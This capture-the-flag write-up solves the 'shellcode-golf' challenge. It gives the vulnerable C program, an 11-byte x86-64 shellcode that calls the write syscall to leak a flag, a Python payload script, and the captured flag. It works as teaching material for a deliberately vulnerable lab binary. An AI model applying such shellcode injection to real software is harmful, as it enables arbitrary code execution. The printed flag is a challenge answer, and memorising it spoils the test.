**Problem description:** _I'll execute any shellcode you give me, but only 11 bytes of it. I bet you can't get the flag!_
Additionally, we are given a compiled executable along with its source code.
shellcode-golf.c```c#include <stdlib.h>#include <stdio.h>#include <sys/mman.h>
char* get_flag() {	FILE* flag = fopen("flag.txt", "r");	char* buf = malloc(64);	if(flag == NULL) {		exit(1);	} else {		fgets(buf, 64, flag);	}	return buf;	fflush(0);}
void main() {	char* flag = get_flag();	char* shellcode = (char*) mmap((void*) 0x1337,12, 0, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);	mprotect(shellcode, 12, PROT_READ | PROT_WRITE | PROT_EXEC);	fgets(shellcode, 12, stdin);	((void (*)(char*))shellcode)(flag);}```
To solve this, we have to run some shellcode, but it can't be too large, so we must try to use assembly instructions whose opcodes are as small as possible. This [page](http://xxeo.com/single-byte-or-small-x86-opcodes) lists several instructions with single and two-byte x86 opcodes. Most notably, the push / pop instructions take only one byte each (at least for registers rax, rbx, rcx, rdi, and rsi).
Running the executable in gdb and pausing right before the point at which our shellcode would be executed, we can examine the current register values.
![registers](https://i.postimg.cc/XJX6H1mJ/shellcode-golf-registers.png)
Here we see that registers `rdx` and `rdi` store the address to the flag.
**Note:** _When executing the binary locally, you will need to create a flag.txt file, with a dummy flag inside for testing._
We can get the server to print out the flag for us by invoking the **write** syscall, which has the following function prototype.
```cssize_t write(int fd, const void *buf, size_t count);```
The Linux x86-64 system calling convention places the first three arguments (left-to-right) in registers rdi, rsi, and rdx, with rax holding the number of the syscall we would like to invoke. In our case, we want to call **write**, which has syscall number 1. Here's a [post](https://stackoverflow.com/a/2538212/6637939) on StackOverflow, explaining x86 calling conventions on Linux.
Therefore, we need `rdi` to be 1 (i.e. the file descriptor of _stdout_), `rsi` to be the address of the flag, and `rdx` to be a positive value, which is at least the size of the flag. The following assembly will do that for us.
```asm0000000000000000 <_start>:   0:	50                   	push   rax   1:	c1 e8 10             	shr    eax,0x10   4:	57                   	push   rdi   5:	50                   	push   rax   6:	5f                   	pop    rdi   7:	5e                   	pop    rsi   8:	5a                   	pop    rdx   9:	0f 05                	syscall ```
Finally, we can create a simple Python script to print the payload to _stdout_, which can then be piped into the input of the executable.
```py#!/usr/bin/python
import sys
payload = b''.join([    b'\x50',            # push   rax    b'\xc1\xe8\x10',    # shr    eax,0x10    b'\x57',            # push   rdi    b'\x50',            # push   rax    b'\x5f',            # pop    rdi    b'\x5e',            # pop    rsi    b'\x5a',            # pop    rdx    b'\x0f\x05',        # syscall     ])
sys.stdout.buffer.write(payload + b'\n')```
We can now get our flag.
```sh$ python exploit.py | openssl s_client -connect tamuctf.com:443 -servername shellcode-golf -quietdepth=0 CN = hulkcybr1verify error:num=18:self signed certificateverify return:1depth=0 CN = hulkcybr1verify return:1
gigem{r34lly_71ny_5h3llc0d3_018ed4}```